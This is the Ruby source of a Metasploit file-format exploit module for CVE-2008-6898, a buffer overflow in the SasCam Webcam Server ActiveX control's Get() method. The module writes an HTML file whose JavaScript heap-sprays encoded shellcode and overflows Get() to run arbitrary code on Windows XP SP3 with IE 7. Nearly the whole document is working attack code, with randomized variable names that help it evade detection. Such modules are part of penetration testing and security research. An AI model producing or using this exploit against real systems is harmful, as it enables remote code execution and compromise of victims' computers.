100 lines
3.2 KiB
Ruby
100 lines
3.2 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = LowRanking
|
|
|
|
include Msf::Exploit::FILEFORMAT
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'SasCam Webcam Server v.2.6.5 Get() Method Buffer Overflow',
|
|
'Description' => %q{
|
|
The SasCam Webcam Server ActiveX control is vulnerable to a buffer overflow.
|
|
By passing an overly long argument via the Get method, a remote attacker could
|
|
overflow a buffer and execute arbitrary code on the system with the privileges
|
|
of the user. This control is not marked safe for scripting, please choose your
|
|
attack vector carefully.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [ 'dean <dean[at]zerodaysolutions.com>' ],
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2008-6898' ],
|
|
[ 'OSVDB', '55945'],
|
|
[ 'BID','33053' ],
|
|
],
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'process',
|
|
'DisablePayloadHandler' => 'true',
|
|
},
|
|
'Payload' =>
|
|
{
|
|
'Space' => 1024,
|
|
'BadChars' => "\x00",
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
[ 'Windows XP SP3 / IE 7', { 'Ret' => 0x0c0c0c0c } ]
|
|
],
|
|
'DisclosureDate' => 'Dec 29 2008',
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('FILENAME', [ true, 'The file name.', 'msf.html']),
|
|
])
|
|
end
|
|
|
|
def exploit
|
|
|
|
# Encode the shellcode.
|
|
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
|
|
|
|
# Set the return.
|
|
ret = Rex::Text.uri_encode([target.ret].pack('L'))
|
|
|
|
# Randomize the javascript variable names.
|
|
vname = rand_text_alpha(rand(100) + 1)
|
|
var_i = rand_text_alpha(rand(30) + 2)
|
|
rand1 = rand_text_alpha(rand(100) + 1)
|
|
rand2 = rand_text_alpha(rand(100) + 1)
|
|
rand3 = rand_text_alpha(rand(100) + 1)
|
|
rand4 = rand_text_alpha(rand(100) + 1)
|
|
rand5 = rand_text_alpha(rand(100) + 1)
|
|
rand6 = rand_text_alpha(rand(100) + 1)
|
|
rand7 = rand_text_alpha(rand(100) + 1)
|
|
rand8 = rand_text_alpha(rand(100) + 1)
|
|
|
|
content = %Q|<html>
|
|
<object id='#{vname}' classid='clsid:0297D24A-F425-47EE-9F3B-A459BCE593E3'></object>
|
|
<script language="JavaScript">
|
|
var #{rand1} = unescape('#{shellcode}');
|
|
var #{rand2} = unescape('#{ret}');
|
|
var #{rand3} = 20;
|
|
var #{rand4} = #{rand3} + #{rand1}.length;
|
|
while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};
|
|
var #{rand5} = #{rand2}.substring(0,#{rand4});
|
|
var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});
|
|
while (#{rand6}.length + #{rand4} < 0x40000) #{rand6} = #{rand6} + #{rand6} + #{rand5};
|
|
var #{rand7} = new Array();
|
|
for (#{var_i} = 0; #{var_i} < 800; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }
|
|
var #{rand8} = "";
|
|
for (#{var_i} = 0; #{var_i} < 8293; #{var_i}++) { #{rand8} = #{rand8} + unescape('#{ret}') }
|
|
#{vname}.Get(#{rand8});
|
|
</script>
|
|
</html>
|
|
|
|
|
|
|
# create the file
|
|
print_status("Creating '#{datastore['FILENAME']}' file ...")
|
|
|
|
file_create(content)
|
|
|
|
end
|
|
end
|